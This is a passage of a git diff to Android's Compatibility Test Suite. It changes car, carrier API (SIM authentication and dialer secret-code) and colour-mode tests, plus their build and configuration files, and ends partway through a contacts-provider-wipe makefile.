+        assertFalse(listener2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, true));
+
+        listener.reset();
+        listener2.reset();
+        mManager.abandonAppFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND);
+        assertTrue(listener.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, false));
+        assertFalse(listener2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, false));
+
+        listener.reset();
+        listener2.reset();
+        mManager.abandonAppFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
+        assertTrue(listener.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
+        assertTrue(listener2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
+    }
+
+    private class FocusChangedListerner implements CarAppFocusManager.OnAppFocusChangedListener {
+        private int mLastChangeAppType;
+        private boolean mLastChangeAppActive;
+        private final Semaphore mChangeWait = new Semaphore(0);
+
+        public boolean waitForFocusChangedAndAssert(long timeoutMs, int expectedAppType,
+                boolean expectedAppActive) throws Exception {
+            if (!mChangeWait.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS)) {
+                return false;
+            }
+            assertEquals(expectedAppType, mLastChangeAppType);
+            assertEquals(expectedAppActive, mLastChangeAppActive);
+            return true;
+        }
+
+        public void reset() {
+            mLastChangeAppType = 0;
+            mLastChangeAppActive = false;
+        }
+
+        @Override
+        public void onAppFocusChanged(int appType, boolean active) {
+            Log.i(TAG, "onAppFocusChange appType=" + appType + " active=" + active);
+            assertMainThread();
+            mLastChangeAppType = appType;
+            mLastChangeAppActive = active;
+            mChangeWait.release();
+        }
+    }
+
+    private class FocusOwnershipCallback
+            implements CarAppFocusManager.OnAppFocusOwnershipCallback {
+        private volatile int mLastLossEvent;
+        private final Semaphore mLossEventWait = new Semaphore(0);
+
+        private volatile int mLastGrantEvent;
+        private final Semaphore mGrantEventWait = new Semaphore(0);
+
+        public boolean waitForOwnershipGrantAndAssert(long timeoutMs, int expectedAppType)
+                throws Exception {
+            if (!mGrantEventWait.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS)) {
+                return false;
+            }
+            assertEquals(expectedAppType, mLastGrantEvent);
+            return true;
+        }
+
+        public boolean waitForOwnershipLossAndAssert(long timeoutMs, int expectedAppType)
+                throws Exception {
+            if (!mLossEventWait.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS)) {
+                return false;
+            }
+            assertEquals(expectedAppType, mLastLossEvent);
+            return true;
+        }
+
+        @Override
+        public void onAppFocusOwnershipLost(int appType) {
+            Log.i(TAG, "onAppFocusOwnershipLoss " + appType);
+            assertMainThread();
+            mLastLossEvent = appType;
+            mLossEventWait.release();
+        }
+
+        @Override
+        public void onAppFocusOwnershipGranted(int appType) {
+            Log.i(TAG, "onAppFocusOwnershipGranted " + appType);
+            assertMainThread();
+            mLastGrantEvent = appType;
+            mGrantEventWait.release();
+        }
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
index cec1db6..0f9c8f1 100644
--- a/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAudioManagerTest.java
@@ -18,7 +18,12 @@
 import android.car.Car;
 import android.car.media.CarAudioManager;
 import android.media.AudioAttributes;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.suitebuilder.annotation.SmallTest;
 
+
+@SmallTest
+@RequiresDevice
 /** Unit tests for {@link CarAudioManager}. */
 public class CarAudioManagerTest extends CarApiTestBase {
     private static final String TAG = CarAudioManagerTest.class.getSimpleName();
diff --git a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
index 1cde840..e9de083 100644
--- a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
@@ -17,7 +17,13 @@
 
 import android.car.Car;
 import android.car.CarInfoManager;
+import android.os.Bundle;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.suitebuilder.annotation.SmallTest;
 
+
+@SmallTest
+@RequiresDevice
 public class CarInfoManagerTest extends CarApiTestBase {
 
     private CarInfoManager mCarInfoManager;
@@ -28,45 +34,14 @@
         mCarInfoManager = (CarInfoManager) getCar().getCarManager(Car.INFO_SERVICE);
     }
 
-    public void testManufacturer() throws Exception {
-        // The values are not guaranteed, so just checking data types here.
-        mCarInfoManager.getString(CarInfoManager.KEY_MANUFACTURER);
-        mCarInfoManager.getInt(CarInfoManager.KEY_MODEL_YEAR);
-        mCarInfoManager.getString(CarInfoManager.KEY_VEHICLE_ID);
-        mCarInfoManager.getString(CarInfoManager.KEY_MODEL);
-        try {
-            mCarInfoManager.getFloat(CarInfoManager.KEY_MANUFACTURER);
-            fail("type check failed");
-        } catch (IllegalArgumentException e) {
-            // Expected.
-        }
-        try {
-            mCarInfoManager.getInt(CarInfoManager.KEY_MANUFACTURER);
-            fail("type check failed");
-        } catch (IllegalArgumentException e) {
-            // Expected.
-        }
+    public void testVehicleId() throws Exception {
+        assertNotNull(mCarInfoManager.getVehicleId());
     }
 
-    public void testNoSuchInfo() throws Exception {
-        final String NO_SUCH_NAME = "no-such-information-available";
-        try {
-            mCarInfoManager.getString(NO_SUCH_NAME);
-            fail("wrong param check");
-        } catch (IllegalArgumentException e) {
-            // Expected.
-        }
-        try {
-            mCarInfoManager.getInt(NO_SUCH_NAME);
-            fail("wrong param check");
-        } catch (IllegalArgumentException e) {
-            // Expected.
-        }
-        try {
-            mCarInfoManager.getFloat(NO_SUCH_NAME);
-            fail("wrong param check");
-        } catch (IllegalArgumentException e) {
-            // Expected.
-        }
+    public void testNullables() throws Exception {
+        // no guarantee of existence. just call and check if it throws exception.
+        mCarInfoManager.getManufacturer();
+        mCarInfoManager.getModel();
+        mCarInfoManager.getModelYear();
     }
 }
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index dc5fe0a..5bee44b 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -22,9 +22,13 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.suitebuilder.annotation.SmallTest;
 
 import java.util.List;
 
+@SmallTest
+@RequiresDevice
 public class CarPackageManagerTest extends CarApiTestBase {
 
     private CarPackageManager mCarPm;
diff --git a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
index ddcc52e..d0fe75b 100644
--- a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
@@ -19,7 +19,11 @@
 import android.car.Car;
 import android.car.hardware.CarSensorEvent;
 import android.car.hardware.CarSensorManager;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.suitebuilder.annotation.SmallTest;
 
+@SmallTest
+@RequiresDevice
 public class CarSensorManagerTest extends CarApiTestBase {
 
     private CarSensorManager mCarSensorManager;
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index 4c0bb21..61b16bb 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -19,11 +19,16 @@
 import android.content.ComponentName;
 import android.content.ServiceConnection;
 import android.os.IBinder;
+import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
 
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
+
+@SmallTest
+@RequiresDevice
 public class CarTest extends AndroidTestCase {
 
     private static final long DEFAULT_WAIT_TIMEOUT_MS = 2000;
diff --git a/tests/tests/car/src/android/car/cts/CarUiProviderTest.java b/tests/tests/car/src/android/car/cts/CarUiProviderTest.java
index a6bc696..4dcccde 100644
--- a/tests/tests/car/src/android/car/cts/CarUiProviderTest.java
+++ b/tests/tests/car/src/android/car/cts/CarUiProviderTest.java
@@ -22,7 +22,9 @@
 import android.content.pm.PackageManager;
 import android.graphics.Bitmap;
 import android.os.Bundle;
+import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
 import android.util.Log;
 import android.view.View;
 
@@ -37,6 +39,9 @@
  *
  * This test will only be run on devices with automotive feature.
  */
+
+@SmallTest
+@RequiresDevice
 public class CarUiProviderTest extends AndroidTestCase {
     private static final String TAG = "CarUiProviderTest";
     private static final String UI_ENTRY_CLASS_NAME = ".CarUiEntry";
diff --git a/tests/tests/car/src/android/car/cts/ExceptionsTest.java b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
index 496867b..904650f 100644
--- a/tests/tests/car/src/android/car/cts/ExceptionsTest.java
+++ b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
@@ -16,9 +16,13 @@
 package android.car.cts;
 
 import android.car.CarNotConnectedException;
-import android.car.CarNotSupportedException;
+import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
 
+
+@SmallTest
+@RequiresDevice
 public class ExceptionsTest extends AndroidTestCase {
     private static final String MESSAGE = "Oops!";
     private static final Exception CAUSE = new RuntimeException();
@@ -39,21 +43,4 @@
         exception = new CarNotConnectedException(CAUSE);
         assertEquals(CAUSE, exception.getCause());
     }
-
-    public void testCarNotSupportedException() {
-        CarNotSupportedException exception = new CarNotSupportedException();
-        assertNull(exception.getMessage());
-        assertNull(exception.getCause());
-
-        exception = new CarNotSupportedException(MESSAGE);
-        assertEquals(MESSAGE, exception.getMessage());
-        assertNull(exception.getCause());
-
-        exception = new CarNotSupportedException(MESSAGE, CAUSE);
-        assertEquals(MESSAGE, exception.getMessage());
-        assertEquals(CAUSE, exception.getCause());
-
-        exception = new CarNotSupportedException(CAUSE);
-        assertEquals(CAUSE, exception.getCause());
-    }
 }
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
index 85eb946..298c6ab 100644
--- a/tests/tests/carrierapi/Android.mk
+++ b/tests/tests/carrierapi/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
-    ctsdeviceutil \
+    compatibility-device-util \
     junit \
     legacy-android-test
 
diff --git a/tests/tests/carrierapi/AndroidTest.xml b/tests/tests/carrierapi/AndroidTest.xml
index fa8f4cc..f966096 100644
--- a/tests/tests/carrierapi/AndroidTest.xml
+++ b/tests/tests/carrierapi/AndroidTest.xml
@@ -14,10 +14,11 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Carrier APIs test cases">
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
         <option name="token" value="sim-card-with-certs" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCarrierApiTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index d7fb5b7..0eae044 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -16,11 +16,15 @@
 
 package android.carrierapi.cts;
 
+import android.content.BroadcastReceiver;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.Signature;
 import android.net.ConnectivityManager;
+import android.net.Uri;
 import android.os.PersistableBundle;
 import android.telephony.CarrierConfigManager;
 import android.telephony.SubscriptionManager;
@@ -28,10 +32,13 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.internal.telephony.TelephonyIntents;
 import com.android.internal.telephony.uicc.IccUtils;
 
 import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 public class CarrierApiTest extends AndroidTestCase {
     private static final String TAG = "CarrierApiTest";
@@ -108,4 +115,59 @@
         }
     }
 
+    public void testGetIccAuthentication() {
+        // EAP-SIM rand is 16 bytes.
+        String base64Challenge = "ECcTqwuo6OfY8ddFRboD9WM=";
+        String base64Challenge2 = "EMNxjsFrPCpm+KcgCmQGnwQ=";
+        if (!hasCellular) return;
+        try {
+            assertNull("getIccAuthentication should return null for empty data.",
+                    mTelephonyManager.getIccAuthentication(TelephonyManager.APPTYPE_USIM,
+                    TelephonyManager.AUTHTYPE_EAP_AKA, ""));
+            String response = mTelephonyManager.getIccAuthentication(TelephonyManager.APPTYPE_USIM,
+                    TelephonyManager.AUTHTYPE_EAP_SIM, base64Challenge);
+            assertTrue("Response to EAP-SIM Challenge must not be Null.", response != null);
+            // response is base64 encoded. After decoding, the value should be:
+            // 1 length byte + SRES(4 bytes) + 1 length byte + Kc(8 bytes)
+            byte[] result = android.util.Base64.decode(response, android.util.Base64.DEFAULT);
+            assertTrue("Result length must be 14 bytes.", 14 == result.length);
+            String response2 = mTelephonyManager.getIccAuthentication(TelephonyManager.APPTYPE_USIM,
+                    TelephonyManager.AUTHTYPE_EAP_SIM, base64Challenge2);
+            assertTrue("Two responses must be different.", !response.equals(response2));
+        } catch (SecurityException e) {
+            failMessage();
+        }
+    }
+
+    public void testSendDialerSpecialCode() {
+        if (!hasCellular) return;
+        try {
+            IntentReceiver intentReceiver = new IntentReceiver();
+            final IntentFilter intentFilter = new IntentFilter();
+            intentFilter.addAction(TelephonyIntents.SECRET_CODE_ACTION);
+            intentFilter.addDataScheme("android_secret_code");
+            getContext().registerReceiver(intentReceiver, intentFilter);
+
+            mTelephonyManager.sendDialerSpecialCode("4636");
+            assertTrue("Did not receive expected Intent: " + TelephonyIntents.SECRET_CODE_ACTION,
+                    intentReceiver.waitForReceive());
+        } catch (SecurityException e) {
+            failMessage();
+        } catch (InterruptedException e) {
+            Log.d(TAG, "Broadcast receiver wait was interrupted.");
+        }
+    }
+
+    private static class IntentReceiver extends BroadcastReceiver {
+        private final CountDownLatch mReceiveLatch = new CountDownLatch(1);
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mReceiveLatch.countDown();
+        }
+
+        public boolean waitForReceive() throws InterruptedException {
+            return mReceiveLatch.await(30, TimeUnit.SECONDS);
+        }
+    }
 }
diff --git a/tests/tests/colormode/Android.mk b/tests/tests/colormode/Android.mk
new file mode 100644
index 0000000..d187069
--- /dev/null
+++ b/tests/tests/colormode/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2011 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsColorModeTestCases
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/colormode/AndroidManifest.xml b/tests/tests/colormode/AndroidManifest.xml
new file mode 100644
index 0000000..be2c457
--- /dev/null
+++ b/tests/tests/colormode/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.colormode.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.colormode.DefaultColorModeActivity" />
+        <activity android:name="android.colormode.WideColorModeActivity"
+                android:colorMode="wideColorGamut" />
+        <activity android:name="android.colormode.AttributeWideColorModeActivity" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.colormode.cts"
+            android:label="Tests for the Color Mode APIs." >
+        <meta-data android:name="listener"
+                android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/colormode/AndroidTest.xml b/tests/tests/colormode/AndroidTest.xml
new file mode 100644
index 0000000..c43a5d2
--- /dev/null
+++ b/tests/tests/colormode/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Color Mode test cases">
+    <option name="config-descriptor:metadata" key="component" value="graphics" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsColorModeTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.colormode.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/colormode/src/android/colormode/AttributeWideColorModeActivity.java b/tests/tests/colormode/src/android/colormode/AttributeWideColorModeActivity.java
new file mode 100644
index 0000000..e78c1fb
--- /dev/null
+++ b/tests/tests/colormode/src/android/colormode/AttributeWideColorModeActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.colormode;
+
+import android.app.Activity;
+import android.content.pm.ActivityInfo;
+import android.os.Bundle;
+
+public class AttributeWideColorModeActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().setColorMode(ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT);
+    }
+}
diff --git a/tests/tests/colormode/src/android/colormode/DefaultColorModeActivity.java b/tests/tests/colormode/src/android/colormode/DefaultColorModeActivity.java
new file mode 100644
index 0000000..c0906ec
--- /dev/null
+++ b/tests/tests/colormode/src/android/colormode/DefaultColorModeActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.colormode;
+
+import android.app.Activity;
+
+public class DefaultColorModeActivity extends Activity {
+}
diff --git a/tests/tests/colormode/src/android/colormode/WideColorModeActivity.java b/tests/tests/colormode/src/android/colormode/WideColorModeActivity.java
new file mode 100644
index 0000000..ff297d8
--- /dev/null
+++ b/tests/tests/colormode/src/android/colormode/WideColorModeActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.colormode;
+
+import android.app.Activity;
+
+public class WideColorModeActivity extends Activity {
+}
diff --git a/tests/tests/colormode/src/android/colormode/cts/AttributeWideColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/AttributeWideColorModeTest.java
new file mode 100644
index 0000000..a129b79
--- /dev/null
+++ b/tests/tests/colormode/src/android/colormode/cts/AttributeWideColorModeTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.colormode.cts;
+
+import android.app.Activity;
+import android.colormode.AttributeWideColorModeActivity;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.Window;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AttributeWideColorModeTest {
+    @Rule
+    public ActivityTestRule<AttributeWideColorModeActivity> mActivityRule =
+            new ActivityTestRule<>(AttributeWideColorModeActivity.class);
+    private Activity mActivity;
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    public void testDefaultColorMode() throws Exception {
+        PackageManager pm = mActivity.getPackageManager();
+
+        ActivityInfo info = pm.getActivityInfo(mActivity.getComponentName(), 0);
+        assertEquals(ActivityInfo.COLOR_MODE_DEFAULT, info.colorMode);
+
+        Window window = mActivity.getWindow();
+        assertEquals(ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT,
+                window.getAttributes().getColorMode());
+    }
+}
diff --git a/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
new file mode 100644
index 0000000..06273eb
--- /dev/null
+++ b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.colormode.cts;
+
+import android.colormode.DefaultColorModeActivity;
+import android.app.Activity;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.Window;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class DefaultColorModeTest {
+    @Rule
+    public ActivityTestRule<DefaultColorModeActivity> mActivityRule =
+            new ActivityTestRule<>(DefaultColorModeActivity.class);
+    private Activity mActivity;
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    public void testDefaultColorMode() throws Exception {
+        PackageManager pm = mActivity.getPackageManager();
+
+        ActivityInfo info = pm.getActivityInfo(mActivity.getComponentName(), 0);
+        assertEquals(ActivityInfo.COLOR_MODE_DEFAULT, info.colorMode);
+
+        Window window = mActivity.getWindow();
+        assertEquals(ActivityInfo.COLOR_MODE_DEFAULT, window.getAttributes().getColorMode());
+    }
+}
diff --git a/tests/tests/colormode/src/android/colormode/cts/WideColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/WideColorModeTest.java
new file mode 100644
index 0000000..64f37c6
--- /dev/null
+++ b/tests/tests/colormode/src/android/colormode/cts/WideColorModeTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.colormode.cts;
+
+import android.app.Activity;
+import android.colormode.WideColorModeActivity;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.Window;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class WideColorModeTest {
+    @Rule
+    public ActivityTestRule<WideColorModeActivity> mActivityRule =
+            new ActivityTestRule<>(WideColorModeActivity.class);
+    private Activity mActivity;
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    public void testDefaultColorMode() throws Exception {
+        PackageManager pm = mActivity.getPackageManager();
+
+        ActivityInfo info = pm.getActivityInfo(mActivity.getComponentName(), 0);
+        assertEquals(ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT, info.colorMode);
+
+        Window window = mActivity.getWindow();
+        assertEquals(ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT,
+                window.getAttributes().getColorMode());
+    }
+}
diff --git a/tests/tests/contactsproviderwipe/Android.mk b/tests/tests/contactsproviderwipe/Android.mk
new file mode 100644
index 0000000..42ca2b6
--- /dev/null
+++ b/tests/tests/contactsproviderwipe/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsContactsProviderWipe
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_SDK_VERSION := test_current
+
